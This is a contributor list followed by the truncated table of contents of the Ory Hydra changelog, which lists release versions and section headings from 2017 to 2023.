Jagoba Gascón <[email protected]> Jakub Błaszczyk <[email protected]> Jakub Błaszczyk <[email protected]> James Elliott <[email protected]> jamesnicolas <[email protected]> Jamie Stackhouse <[email protected]> Jan Beckmann <[email protected]> Jan <[email protected]> Jay Linski <[email protected]> jayme-github <[email protected]> jess <[email protected]> jhuggett <[email protected]> JiaLiPassion <[email protected]> Jimmy Stridh <[email protected]> Joao Carlos <[email protected]> Joao Carlos <[email protected]> Joel Pickup <[email protected]> John <[email protected]> John Wu <[email protected]> Jonas Hungershausen <[email protected]> Jon Kjennbakken <[email protected]> Josh Giles <[email protected]> Joshua Obasaju <[email protected]> Julian Tescher <[email protected]> Justin Clift <[email protected]> Kevin Goslar <[email protected]> Kevin Minehart <[email protected]> khevse <[email protected]> Kim Neunert <[email protected]> Kishan B <[email protected]> Klaus Herrmann <[email protected]> kobayashilin <[email protected]> Kostya Lepa <[email protected]> Kunal Parikh <[email protected]> lauri <[email protected]> LemurP <[email protected]> Lennart Rosam <[email protected]> Louis Laureys <[email protected]> Ludovic Cleroux <[email protected]> Luis Pedrosa <[email protected]> Lukasz Jagiello <[email protected]> Luke Stoward <[email protected]> Maciej Małecki <[email protected]> Marco Hutzsch <[email protected]> Mart Aarma <[email protected]> Masoud Tahmasebi <[email protected]> Matej Kramny <[email protected]> Matheus Moraes <[email protected]> Matouš Dzivjak <[email protected]> Matt Bonnell <[email protected]> Matt Bonnell <[email protected]> Matt Drollette <[email protected]> Matteo Suppo <[email protected]> Matthew Fawcett <[email protected]> Matt Vinall <[email protected]> Matt Vinall <[email protected]> Maurice Freitag <[email protected]> Maurizio <[email protected]> Maxime Song <[email protected]> Max Köhler <[email protected]> michaelwagler <[email protected]> mig5 <[email protected]> Mikhail Kopylov <[email protected]> Mitar <[email protected]> Mitar <[email protected]> mkontani <[email protected]> Moritz Lang <[email protected]> MOZGIII <[email protected]> Natalia <[email protected]> Nathan Mills <[email protected]> naveenpaul1 <[email protected]> Neeraj <[email protected]> Nejcraft <[email protected]> nessita <[email protected]> Nestor <[email protected]> Nick Otter <[email protected]> NickUfer <[email protected]> Nick Ufer <[email protected]> Nicolas F <[email protected]> Nikita Puzankov <[email protected]> NikolaySl <[email protected]> Nikolay Stupak <[email protected]> nishanth2143 <[email protected]> olFi95 <[email protected]> Olivier Deckers <[email protected]> Olivier Tremblay <[email protected]> ORY Continuous Integration <[email protected]> ORY Continuous Integration <[email protected]> Oz Haven <[email protected]> Patrick Barker <[email protected]> Patrick Tescher <[email protected]> Patrik <[email protected]> Paul Harman <[email protected]> Petr Jediný <[email protected]> phi2039 <[email protected]> Philip Nicolcev <[email protected]> Philip Nicolcev <[email protected]> phiremande <[email protected]> Pierre-David Bélanger <[email protected]> pike1212 <[email protected]> pike1212 <[email protected]> prateek1192 <[email protected]> Prateek Malhotra <[email protected]> Quentin Perez <[email protected]> Raman <[email protected]> Reaper <[email protected]> Ricardo Iván Vieitez Parra <[email protected]> Richard Zana <[email protected]> Rich Wareham <[email protected]> rickwang7712 <[email protected]> RikiyaFujii <[email protected]> RNBack <[email protected]> robhinds <[email protected]> Rob Smith <[email protected]> Roman Lytvyn <[email protected]> Roman Minkin <[email protected]> Saad Tazi <[email protected]> sagarshah1983 <[email protected]> SaintMalik <[email protected]> Samuele Lilli <[email protected]> Sasha Melentyev <[email protected]> Savvas Mantzouranidis <[email protected]> Sawada Shota <[email protected]> sawadashota <[email protected]> sawadashota <[email protected]> Sawada Shota <[email protected]> seremenko-wish <[email protected]> Serhii Halchenko <[email protected]> Shadaï ALI <[email protected]> Shane Starcher <[email protected]> Shankar Dhanasekaran <[email protected]> Shaurya Dhadwal <[email protected]> Shota SAWADA <[email protected]> Simon Lipp <[email protected]> Simon-Pierre Gingras <[email protected]> simpleway <[email protected]> Smotrov Dmitriy <[email protected]> Søren <[email protected]> Stepan Rakitin <[email protected]> Stephan Renatus <[email protected]> Steve Kaliski <[email protected]> Sufijen Bani <[email protected]> Sven Neuhaus <[email protected]> The Gitter Badger <[email protected]> Thibault Doubliez <[email protected]> Thomas Aidan Curran <[email protected]> Thomas Aidan Curran <[email protected]> Thomas Recloux <[email protected]> Thomas Stewart <[email protected]> Thor Marius Henrichsen <[email protected]> TilmanTheile <[email protected]> timothyknight <[email protected]> Tim Sazon <[email protected]> tomazy <[email protected]> Tom Papiernik <[email protected]> tutman96 <[email protected]> T Venu Madhav <[email protected]> tyaps <[email protected]> Vadim <[email protected]> vancity-amir <[email protected]> Vincent <[email protected]> Vinci Xu <[email protected]> vinckr <[email protected]> Vishesh Handa <[email protected]> Vitaly Migunov <[email protected]> Vladimir Kalugin <[email protected]> wanderer163 <[email protected]> Wei Cheng <[email protected]> Wojciech Kuźmiński <[email protected]> Wyatt Anderson <[email protected]> Yannick Heinrich <[email protected]> Yorman ����’.͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇͇Ỏ̷͖͈̞̩͎̻̫̫̜͉̠̫͕̭̭̫ ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎ <[email protected]> Yuki Hirasawa <[email protected]> Zach Abney <[email protected]> Zbigniew Mandziejewicz <[email protected]> zepatrik <[email protected]> zepatrik <[email protected]> 巢鹏 <[email protected]>
Markdown
hydra/CHANGELOG.md
# Changelog <!-- START doctoc generated TOC please keep comment here to allow auto update --> <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE --> **Table of Contents** - [0.0.0 (2023-08-16)](#000-2023-08-16) - [Bug Fixes](#bug-fixes) - [Features](#features) - [2.2.0-pre.0 (2023-06-22)](#220-pre0-2023-06-22) - [Code Generation](#code-generation) - [Features](#features-1) - [2.2.0-rc.2 (2023-06-13)](#220-rc2-2023-06-13) - [Bug Fixes](#bug-fixes-1) - [Code Generation](#code-generation-1) - [Features](#features-2) - [2.2.0-rc.1 (2023-06-12)](#220-rc1-2023-06-12) - [Breaking Changes](#breaking-changes) - [Bug Fixes](#bug-fixes-2) - [Code Generation](#code-generation-2) - [Features](#features-3) - [Unclassified](#unclassified) - [2.1.2 (2023-05-24)](#212-2023-05-24) - [Bug Fixes](#bug-fixes-3) - [Code Generation](#code-generation-3) - [Documentation](#documentation) - [Features](#features-4) - [2.1.1 (2023-04-11)](#211-2023-04-11) - [Bug Fixes](#bug-fixes-4) - [Code Generation](#code-generation-4) - [2.1.0 (2023-04-06)](#210-2023-04-06) - [Bug Fixes](#bug-fixes-5) - [Code Generation](#code-generation-5) - [2.1.0-pre.2 (2023-04-03)](#210-pre2-2023-04-03) - [Code Generation](#code-generation-6) - [2.1.0-pre.1 (2023-04-03)](#210-pre1-2023-04-03) - [Code Generation](#code-generation-7) - [2.1.0-pre.0 (2023-03-31)](#210-pre0-2023-03-31) - [Bug Fixes](#bug-fixes-6) - [Code Generation](#code-generation-8) - [Documentation](#documentation-1) - [Features](#features-5) - [2.0.3 (2022-12-08)](#203-2022-12-08) - [Bug Fixes](#bug-fixes-7) - [Code Generation](#code-generation-9) - [Features](#features-6) - [2.0.2 (2022-11-10)](#202-2022-11-10) - [Bug Fixes](#bug-fixes-8) - [Code Generation](#code-generation-10) - [Documentation](#documentation-2) - [Features](#features-7) - [Tests](#tests) - [2.0.1 (2022-10-27)](#201-2022-10-27) - [Bug Fixes](#bug-fixes-9) - [Code Generation](#code-generation-11) - [Documentation](#documentation-3) - [2.0.0 (2022-10-27)](#200-2022-10-27) - [Breaking Changes](#breaking-changes-1) - [Bug Fixes](#bug-fixes-10) - [Code Generation](#code-generation-12) - [Code Refactoring](#code-refactoring) - [Documentation](#documentation-4) - [Features](#features-8) - [Tests](#tests-1) - [Unclassified](#unclassified-1) - [1.11.10 (2022-08-25)](#11110-2022-08-25) - [Bug Fixes](#bug-fixes-11) - [Code Generation](#code-generation-13) - [1.11.9 (2022-08-01)](#1119-2022-08-01) - [Bug Fixes](#bug-fixes-12) - [Code Generation](#code-generation-14) - [Documentation](#documentation-5) - [Features](#features-9) - [1.11.8 (2022-05-04)](#1118-2022-05-04) - [Bug Fixes](#bug-fixes-13) - [Code Generation](#code-generation-15) - [Documentation](#documentation-6) - [Features](#features-10) - [Tests](#tests-2) - [1.11.7 (2022-02-23)](#1117-2022-02-23) - [Code Generation](#code-generation-16) - [1.11.6 (2022-02-23)](#1116-2022-02-23) - [Bug Fixes](#bug-fixes-14) - [Code Generation](#code-generation-17) - [1.11.5 (2022-02-21)](#1115-2022-02-21) - [Bug Fixes](#bug-fixes-15) - [Code Generation](#code-generation-18) - [1.11.4 (2022-02-16)](#1114-2022-02-16) - [Bug Fixes](#bug-fixes-16) - [Code Generation](#code-generation-19) - [1.11.3 (2022-02-15)](#1113-2022-02-15) - [Bug Fixes](#bug-fixes-17) - [Code Generation](#code-generation-20) - [1.11.2 (2022-02-11)](#1112-2022-02-11) - [Code Generation](#code-generation-21) - [1.11.1 (2022-02-11)](#1111-2022-02-11) - [Bug Fixes](#bug-fixes-18) - [Code Generation](#code-generation-22) - [Code Refactoring](#code-refactoring-1) - [Documentation](#documentation-7) - [1.11.0 (2022-01-21)](#1110-2022-01-21) - [Breaking Changes](#breaking-changes-2) - [Bug Fixes](#bug-fixes-19) - [Code Generation](#code-generation-23) - [Documentation](#documentation-8) - [Features](#features-11) - [1.10.7 (2021-10-27)](#1107-2021-10-27) - [Breaking Changes](#breaking-changes-3) - [Bug Fixes](#bug-fixes-20) - [Code Generation](#code-generation-24) - [Code Refactoring](#code-refactoring-2) - [Documentation](#documentation-9) - [Features](#features-12) - [1.10.6 (2021-08-28)](#1106-2021-08-28) - [Bug Fixes](#bug-fixes-21) - [Code Generation](#code-generation-25) - [Documentation](#documentation-10) - [1.10.5 (2021-08-13)](#1105-2021-08-13) - [Bug Fixes](#bug-fixes-22) - [Code Generation](#code-generation-26) - [Documentation](#documentation-11) - [Features](#features-13) - [1.10.3 (2021-07-14)](#1103-2021-07-14) - [Bug Fixes](#bug-fixes-23) - [Code Generation](#code-generation-27) - [Code Refactoring](#code-refactoring-3) - [Documentation](#documentation-12) - [Features](#features-14) - [1.10.2 (2021-05-04)](#1102-2021-05-04) - [Breaking Changes](#breaking-changes-4) - [Bug Fixes](#bug-fixes-24) - [Code Generation](#code-generation-28) - [Code Refactoring](#code-refactoring-4) - [Documentation](#documentation-13) - [Features](#features-15) - [1.10.1 (2021-03-25)](#1101-2021-03-25) - [Bug Fixes](#bug-fixes-25) - [Code Generation](#code-generation-29) - [Documentation](#documentation-14) - [Features](#features-16) - [Tests](#tests-3) - [Unclassified](#unclassified-2) - [1.9.2 (2021-01-29)](#192-2021-01-29) - [Code Generation](#code-generation-30) - [Features](#features-17) - [1.9.1 (2021-01-27)](#191-2021-01-27) - [Code Generation](#code-generation-31) - [Documentation](#documentation-15) - [1.9.0 (2021-01-12)](#190-2021-01-12) - [Code Generation](#code-generation-32) - [1.9.0-rc.0 (2021-01-12)](#190-rc0-2021-01-12) - [Code Generation](#code-generation-33) - [1.9.0-alpha.4.pre.0 (2021-01-12)](#190-alpha4pre0-2021-01-12) - [Bug Fixes](#bug-fixes-26) - [Code Generation](#code-generation-34) - [Documentation](#documentation-16) - [1.9.0-alpha.3 (2020-12-08)](#190-alpha3-2020-12-08) - [Breaking Changes](#breaking-changes-5) - [Bug Fixes](#bug-fixes-27) - [Code Generation](#code-generation-35) - [Code Refactoring](#code-refactoring-5) - [Documentation](#documentation-17) - [Features](#features-18) - [Tests](#tests-4) - [Unclassified](#unclassified-3) - [1.9.0-alpha.2 (2020-10-29)](#190-alpha2-2020-10-29) - [Bug Fixes](#bug-fixes-28) - [Code Generation](#code-generation-36) - [Documentation](#documentation-18) - [Features](#features-19) - [Tests](#tests-5) - [1.9.0-alpha.1 (2020-10-20)](#190-alpha1-2020-10-20) - [Bug Fixes](#bug-fixes-29) - [Code Generation](#code-generation-37) - [Code Refactoring](#code-refactoring-6) - [Documentation](#documentation-19) - [Features](#features-20) - [Tests](#tests-6) - [1.8.5 (2020-10-03)](#185-2020-10-03) - [Code Generation](#code-generation-38) - [1.8.0-pre.1 (2020-10-03)](#180-pre1-2020-10-03) - [Bug Fixes](#bug-fixes-30) - [Code Generation](#code-generation-39) - [Features](#features-21) - [1.8.0-pre.0 (2020-10-02)](#180-pre0-2020-10-02) - [Breaking Changes](#breaking-changes-6) - [Bug Fixes](#bug-fixes-31) - [Code Generation](#code-generation-40) - [Documentation](#documentation-20) - [Features](#features-22) - [1.7.4 (2020-08-31)](#174-2020-08-31) - [Bug Fixes](#bug-fixes-32) - [Code Generation](#code-generation-41) - [1.7.3 (2020-08-31)](#173-2020-08-31) - [Code Generation](#code-generation-42) - [1.7.1 (2020-08-31)](#171-2020-08-31) - [Breaking Changes](#breaking-changes-7) - [Bug Fixes](#bug-fixes-33) - [Code Generation](#code-generation-43) - [Code Refactoring](#code-refactoring-7) - [Documentation](#documentation-21) - [Features](#features-23) - [Unclassified](#unclassified-4) - [1.7.0 (2020-08-14)](#170-2020-08-14) - [Breaking Changes](#breaking-changes-8) - [Bug Fixes](#bug-fixes-34) - [Code Generation](#code-generation-44) - [Code Refactoring](#code-refactoring-8) - [Documentation](#documentation-22) - [Features](#features-24) - [Unclassified](#unclassified-5) - [1.6.0 (2020-07-20)](#160-2020-07-20) - [Bug Fixes](#bug-fixes-35) - [Code Generation](#code-generation-45) - [Documentation](#documentation-23) - [Unclassified](#unclassified-6) - [1.5.2 (2020-06-23)](#152-2020-06-23) - [Bug Fixes](#bug-fixes-36) - [Code Generation](#code-generation-46) - [Features](#features-25) - [1.5.1 (2020-06-16)](#151-2020-06-16) - [Code Generation](#code-generation-47) - [1.5.0 (2020-06-16)](#150-2020-06-16) - [Bug Fixes](#bug-fixes-37) - [Chores](#chores) - [Documentation](#documentation-24) - [Features](#features-26) - [Unclassified](#unclassified-7) - [1.5.0-beta.5 (2020-05-28)](#150-beta5-2020-05-28) - [Bug Fixes](#bug-fixes-38) - [Chores](#chores-1) - [Documentation](#documentation-25) - [Features](#features-27) - [1.5.0-beta.3 (2020-05-23)](#150-beta3-2020-05-23) - [Chores](#chores-2) - [1.5.0-beta.2 (2020-05-23)](#150-beta2-2020-05-23) - [Bug Fixes](#bug-fixes-39) - [Chores](#chores-3) - [Code Refactoring](#code-refactoring-9) - [Documentation](#documentation-26) - [1.5.0-beta.1 (2020-04-30)](#150-beta1-2020-04-30) - [Breaking Changes](#breaking-changes-9) - [Chores](#chores-4) - [Code Refactoring](#code-refactoring-10) - [1.4.10 (2020-04-30)](#1410-2020-04-30) - [Bug Fixes](#bug-fixes-40) - [Chores](#chores-5) - [Documentation](#documentation-27) - [Unclassified](#unclassified-8) - [1.4.9 (2020-04-25)](#149-2020-04-25) - [Bug Fixes](#bug-fixes-41) - [Chores](#chores-6) - [1.4.8 (2020-04-24)](#148-2020-04-24) - [Bug Fixes](#bug-fixes-42) - [Chores](#chores-7) - [Documentation](#documentation-28) - [Features](#features-28) - [1.4.7 (2020-04-24)](#147-2020-04-24) - [Bug Fixes](#bug-fixes-43) - [Chores](#chores-8) - [Documentation](#documentation-29) - [1.4.6 (2020-04-17)](#146-2020-04-17) - [Bug Fixes](#bug-fixes-44) - [Documentation](#documentation-30) - [1.4.5 (2020-04-16)](#145-2020-04-16) - [Bug Fixes](#bug-fixes-45) - [Documentation](#documentation-31) - [1.4.3 (2020-04-16)](#143-2020-04-16) - [Bug Fixes](#bug-fixes-46) - [Code Refactoring](#code-refactoring-11) - [Documentation](#documentation-32) - [Features](#features-29) - [1.4.2 (2020-04-03)](#142-2020-04-03) - [Chores](#chores-9) - [Documentation](#documentation-33) - [1.4.1 (2020-04-02)](#141-2020-04-02) - [Bug Fixes](#bug-fixes-47) - [1.4.0 (2020-04-02)](#140-2020-04-02) - [GHSA-3p3g-vpw6-4w66](#ghsa-3p3g-vpw6-4w66) - [Impact](#impact) - [Severity](#severity) - [Patches](#patches) - [Workarounds](#workarounds) - [References](#references) - [Upstream](#upstream) - [Breaking Changes](#breaking-changes-10) - [GHSA-3p3g-vpw6-4w66](#ghsa-3p3g-vpw6-4w66-1) - [Impact](#impact-1) - [Severity](#severity-1) - [Patches](#patches-1) - [Workarounds](#workarounds-1) - [References](#references-1) - [Upstream](#upstream-1) - [Bug Fixes](#bug-fixes-48) - [Code Refactoring](#code-refactoring-12) - [Documentation](#documentation-34) - [Features](#features-30) - [Unclassified](#unclassified-9) - [1.3.2 (2020-02-17)](#132-2020-02-17) - [Bug Fixes](#bug-fixes-49) - [Chores](#chores-10) - [Documentation](#documentation-35) - [1.3.1 (2020-02-16)](#131-2020-02-16) - [Continuous Integration](#continuous-integration) - [1.3.0 (2020-02-14)](#130-2020-02-14) - [Bug Fixes](#bug-fixes-50) - [Documentation](#documentation-36) - [Features](#features-31) - [Unclassified](#unclassified-10) - [1.2.3 (2020-01-31)](#123-2020-01-31) - [Unclassified](#unclassified-11) - [1.2.2 (2020-01-23)](#122-2020-01-23) - [Documentation](#documentation-37) - [Unclassified](#unclassified-12) - [1.2.1 (2020-01-15)](#121-2020-01-15) - [Unclassified](#unclassified-13) - [1.2.0 (2020-01-08)](#120-2020-01-08) - [Unclassified](#unclassified-14) - [1.2.0-alpha.3 (2020-01-08)](#120-alpha3-2020-01-08) - [Unclassified](#unclassified-15) - [1.2.0-alpha.2 (2020-01-08)](#120-alpha2-2020-01-08) - [Continuous Integration](#continuous-integration-1) - [1.2.0-alpha.1 (2020-01-07)](#120-alpha1-2020-01-07) - [Documentation](#documentation-38) - [Unclassified](#unclassified-16) - [1.1.1 (2019-12-19)](#111-2019-12-19) - [Documentation](#documentation-39) - [Unclassified](#unclassified-17) - [1.1.0 (2019-12-16)](#110-2019-12-16) - [Documentation](#documentation-40) - [Unclassified](#unclassified-18) - [1.0.9 (2019-11-02)](#109-2019-11-02) - [Documentation](#documentation-41) - [Unclassified](#unclassified-19) - [1.0.8 (2019-10-04)](#108-2019-10-04) - [Unclassified](#unclassified-20) - [1.0.7 (2019-09-29)](#107-2019-09-29) - [Continuous Integration](#continuous-integration-2) - [1.0.6 (2019-09-29)](#106-2019-09-29) - [Continuous Integration](#continuous-integration-3) - [1.0.5 (2019-09-28)](#105-2019-09-28) - [Continuous Integration](#continuous-integration-4) - [1.0.4 (2019-09-26)](#104-2019-09-26) - [Unclassified](#unclassified-21) - [1.0.3 (2019-09-23)](#103-2019-09-23) - [Unclassified](#unclassified-22) - [1.0.2 (2019-09-18)](#102-2019-09-18) - [Unclassified](#unclassified-23) - [1.0.1 (2019-09-04)](#101-2019-09-04) - [Documentation](#documentation-42) - [Unclassified](#unclassified-24) - [1.0.0 (2019-06-24)](#100-2019-06-24) - [Documentation](#documentation-43) - [Unclassified](#unclassified-25) - [1.0.0-rc.16 (2019-06-13)](#100-rc16-2019-06-13) - [Documentation](#documentation-44) - [Unclassified](#unclassified-26) - [1.0.0-rc.15 (2019-06-05)](#100-rc15-2019-06-05) - [Documentation](#documentation-45) - [Unclassified](#unclassified-27) - [1.0.0-rc.14 (2019-05-18)](#100-rc14-2019-05-18) - [Continuous Integration](#continuous-integration-5) - [Documentation](#documentation-46) - [Unclassified](#unclassified-28) - [1.0.0-rc.12 (2019-05-10)](#100-rc12-2019-05-10) - [Unclassified](#unclassified-29) - [0.0.1 (2019-05-08)](#001-2019-05-08) - [Documentation](#documentation-47) - [Unclassified](#unclassified-30) - [1.0.0-rc.11 (2019-05-02)](#100-rc11-2019-05-02) - [Documentation](#documentation-48) - [Unclassified](#unclassified-31) - [1.0.0-rc.10 (2019-04-29)](#100-rc10-2019-04-29) - [Documentation](#documentation-49) - [Unclassified](#unclassified-32) - [1.0.0-rc.9+oryOS.10 (2019-04-18)](#100-rc9oryos10-2019-04-18) - [Documentation](#documentation-50) - [Unclassified](#unclassified-33) - [1.0.0-rc.8+oryOS.10 (2019-04-03)](#100-rc8oryos10-2019-04-03) - [Continuous Integration](#continuous-integration-6) - [Documentation](#documentation-51) - [1.0.0-rc.7+oryOS.10 (2019-04-02)](#100-rc7oryos10-2019-04-02) - [Continuous Integration](#continuous-integration-7) - [Documentation](#documentation-52) - [Unclassified](#unclassified-34) - [1.0.0-rc.6+oryOS.10 (2018-12-18)](#100-rc6oryos10-2018-12-18) - [Documentation](#documentation-53) - [Unclassified](#unclassified-35) - [1.0.0-rc.5+oryOS.10 (2018-12-13)](#100-rc5oryos10-2018-12-13) - [Documentation](#documentation-54) - [Unclassified](#unclassified-36) - [1.0.0-rc.4+oryOS.9 (2018-12-12)](#100-rc4oryos9-2018-12-12) - [Documentation](#documentation-55) - [Unclassified](#unclassified-37) - [1.0.0-rc.3+oryOS.9 (2018-12-06)](#100-rc3oryos9-2018-12-06) - [Documentation](#documentation-56) - [Unclassified](#unclassified-38) - [1.0.0-rc.2+oryOS.9 (2018-11-21)](#100-rc2oryos9-2018-11-21) - [Documentation](#documentation-57) - [Unclassified](#unclassified-39) - [1.0.0-rc.1+oryOS.9 (2018-11-21)](#100-rc1oryos9-2018-11-21) - [Build System](#build-system) - [Documentation](#documentation-58) - [Unclassified](#unclassified-40) - [1.0.0-beta.9 (2018-09-01)](#100-beta9-2018-09-01) - [Documentation](#documentation-59) - [Unclassified](#unclassified-41) - [1.0.0-beta.8 (2018-08-10)](#100-beta8-2018-08-10) - [Documentation](#documentation-60) - [Unclassified](#unclassified-42) - [1.0.0-beta.7 (2018-07-16)](#100-beta7-2018-07-16) - [Documentation](#documentation-61) - [Unclassified](#unclassified-43) - [1.0.0-beta.6 (2018-07-11)](#100-beta6-2018-07-11) - [Documentation](#documentation-62) - [Unclassified](#unclassified-44) - [1.0.0-beta.5 (2018-07-07)](#100-beta5-2018-07-07) - [Documentation](#documentation-63) - [Unclassified](#unclassified-45) - [1.0.0-beta.4 (2018-06-13)](#100-beta4-2018-06-13) - [Documentation](#documentation-64) - [1.0.0-beta.3 (2018-06-13)](#100-beta3-2018-06-13) - [Continuous Integration](#continuous-integration-8) - [Documentation](#documentation-65) - [Unclassified](#unclassified-46) - [1.0.0-beta.2 (2018-05-29)](#100-beta2-2018-05-29) - [Continuous Integration](#continuous-integration-9) - [1.0.0-beta.1 (2018-05-29)](#100-beta1-2018-05-29) - [Build System](#build-system-1) - [Documentation](#documentation-66) - [Unclassified](#unclassified-47) - [0.11.10 (2018-03-19)](#01110-2018-03-19) - [Documentation](#documentation-67) - [Unclassified](#unclassified-48) - [0.11.12 (2018-04-08)](#01112-2018-04-08) - [Documentation](#documentation-68) - [Unclassified](#unclassified-49) - [0.11.9 (2018-03-10)](#0119-2018-03-10) - [Unclassified](#unclassified-50) - [0.11.7 (2018-03-03)](#0117-2018-03-03) - [Unclassified](#unclassified-51) - [0.11.6 (2018-02-07)](#0116-2018-02-07) - [Unclassified](#unclassified-52) - [0.11.10 (2018-03-19)](#01110-2018-03-19-1) - [Documentation](#documentation-69) - [Unclassified](#unclassified-53) - [0.11.9 (2018-03-10)](#0119-2018-03-10-1) - [Unclassified](#unclassified-54) - [0.11.7 (2018-03-03)](#0117-2018-03-03-1) - [Unclassified](#unclassified-55) - [0.11.6 (2018-02-07)](#0116-2018-02-07-1) - [Unclassified](#unclassified-56) - [0.11.4 (2018-01-23)](#0114-2018-01-23) - [Documentation](#documentation-70) - [0.11.3 (2018-01-23)](#0113-2018-01-23) - [Documentation](#documentation-71) - [Unclassified](#unclassified-57) - [0.11.2 (2018-01-22)](#0112-2018-01-22) - [Unclassified](#unclassified-58) - [0.11.1 (2018-01-18)](#0111-2018-01-18) - [Unclassified](#unclassified-59) - [0.11.0 (2018-01-08)](#0110-2018-01-08) - [Documentation](#documentation-72) - [Unclassified](#unclassified-60) - [0.10.10 (2017-12-16)](#01010-2017-12-16) - [Documentation](#documentation-73) - [Unclassified](#unclassified-61) - [0.10.9 (2017-12-13)](#0109-2017-12-13) - [Documentation](#documentation-74) - [Unclassified](#unclassified-62) - [0.10.8 (2017-12-12)](#0108-2017-12-12) - [Documentation](#documentation-75) - [Unclassified](#unclassified-63) - [0.10.7 (2017-12-09)](#0107-2017-12-09) - [Documentation](#documentation-76) - [Unclassified](#unclassified-64) - [0.10.6 (2017-12-09)](#0106-2017-12-09) - [Unclassified](#unclassified-65) - [0.10.5 (2017-12-09)](#0105-2017-12-09) - [Documentation](#documentation-77) - [Unclassified](#unclassified-66) - [0.10.4 (2017-12-09)](#0104-2017-12-09) - [Documentation](#documentation-78) - [Unclassified](#unclassified-67) - [0.10.3 (2017-12-08)](#0103-2017-12-08) - [Documentation](#documentation-79) - [0.10.2 (2017-12-08)](#0102-2017-12-08) - [Continuous Integration](#continuous-integration-10) - [0.10.1 (2017-12-08)](#0101-2017-12-08) - [Continuous Integration](#continuous-integration-11) - [0.10.0 (2017-12-08)](#0100-2017-12-08) - [Continuous Integration](#continuous-integration-12) - [Documentation](#documentation-80) - [Unclassified](#unclassified-68) - [0.10.0-alpha.21 (2017-11-27)](#0100-alpha21-2017-11-27) - [Unclassified](#unclassified-69) - [0.10.0-alpha.20 (2017-11-26)](#0100-alpha20-2017-11-26) - [Unclassified](#unclassified-70) - [0.10.0-alpha.19 (2017-11-26)](#0100-alpha19-2017-11-26) - [Documentation](#documentation-81) - [Unclassified](#unclassified-71) - [0.10.0-alpha.18 (2017-11-06)](#0100-alpha18-2017-11-06) - [Continuous Integration](#continuous-integration-13) - [0.10.0-alpha.17 (2017-11-06)](#0100-alpha17-2017-11-06) - [Continuous Integration](#continuous-integration-14) - [0.10.0-alpha.16 (2017-11-06)](#0100-alpha16-2017-11-06) - [Continuous Integration](#continuous-integration-15) - [Documentation](#documentation-82) - [Unclassified](#unclassified-72) - [0.10.0-alpha.15 (2017-11-06)](#0100-alpha15-2017-11-06) - [Unclassified](#unclassified-73) - [0.10.0-alpha.14 (2017-11-06)](#0100-alpha14-2017-11-06) - [Unclassified](#unclassified-74) - [0.10.0-alpha.13 (2017-11-06)](#0100-alpha13-2017-11-06) - [Unclassified](#unclassified-75) - [0.10.0-alpha.12 (2017-11-06)](#0100-alpha12-2017-11-06) - [Documentation](#documentation-83) - [Unclassified](#unclassified-76) - [0.10.0-alpha.10 (2017-10-26)](#0100-alpha10-2017-10-26) - [Continuous Integration](#continuous-integration-16) - [Documentation](#documentation-84) - [0.10.0-alpha.9 (2017-10-25)](#0100-alpha9-2017-10-25) - [Documentation](#documentation-85) - [Unclassified](#unclassified-77) - [0.10.0-alpha.8 (2017-10-18)](#0100-alpha8-2017-10-18) - [Documentation](#documentation-86) - [Unclassified](#unclassified-78) - [0.9.14 (2017-10-06)](#0914-2017-10-06) - [Documentation](#documentation-87) - [Unclassified](#unclassified-79) - [0.10.0-alpha.7 (2017-10-06)](#0100-alpha7-2017-10-06) - [Unclassified](#unclassified-80) - [0.10.0-alpha.6 (2017-10-05)](#0100-alpha6-2017-10-05) - [Unclassified](#unclassified-81) - [0.10.0-alpha.5 (2017-10-05)](#0100-alpha5-2017-10-05) - [Unclassified](#unclassified-82) - [0.10.0-alpha.4 (2017-10-05)](#0100-alpha4-2017-10-05) - [Unclassified](#unclassified-83) - [0.10.0-alpha.3 (2017-10-05)](#0100-alpha3-2017-10-05) - [Unclassified](#unclassified-84) - [0.10.0-alpha.2 (2017-10-05)](#0100-alpha2-2017-10-05) - [Documentation](#documentation-88) - [Unclassified](#unclassified-85) - [0.10.0-alpha.1 (2017-10-05)](#0100-alpha1-2017-10-05) - [Documentation](#documentation-89) - [Unclassified](#unclassified-86) - [0.9.13 (2017-09-26)](#0913-2017-09-26) - [Documentation](#documentation-90) - [Unclassified](#unclassified-87) - [0.9.12 (2017-07-06)](#0912-2017-07-06) - [Documentation](#documentation-91) - [Unclassified](#unclassified-88) - [0.9.11 (2017-06-30)](#0911-2017-06-30) - [Documentation](#documentation-92) - [Unclassified](#unclassified-89) - [0.9.10 (2017-06-29)](#0910-2017-06-29) - [Documentation](#documentation-93) - [Unclassified](#unclassified-90) - [0.9.9 (2017-06-17)](#099-2017-06-17) - [Unclassified](#unclassified-91) - [0.9.8 (2017-06-17)](#098-2017-06-17) - [Documentation](#documentation-94) - [Unclassified](#unclassified-92) - [0.9.7 (2017-06-16)](#097-2017-06-16) - [Documentation](#documentation-95) - [Unclassified](#unclassified-93) - [0.9.6 (2017-06-15)](#096-2017-06-15) - [Unclassified](#unclassified-94) - [0.9.5 (2017-06-15)](#095-2017-06-15) - [Unclassified](#unclassified-95) - [0.9.4 (2017-06-14)](#094-2017-06-14) - [Documentation](#documentation-96) - [Unclassified](#unclassified-96) - [0.9.3 (2017-06-14)](#093-2017-06-14) - [Documentation](#documentation-97) - [Unclassified](#unclassified-97) - [0.9.2 (2017-06-13)](#092-2017-06-13) - [Unclassified](#unclassified-98) - [0.9.1 (2017-06-12)](#091-2017-06-12) - [Unclassified](#unclassified-99) - [0.9.0 (2017-06-07)](#090-2017-06-07) - [Documentation](#documentation-98) - [Unclassified](#unclassified-100) - [0.8.7 (2017-06-05)](#087-2017-06-05) - [Unclassified](#unclassified-101) - [0.8.6 (2017-06-05)](#086-2017-06-05) - 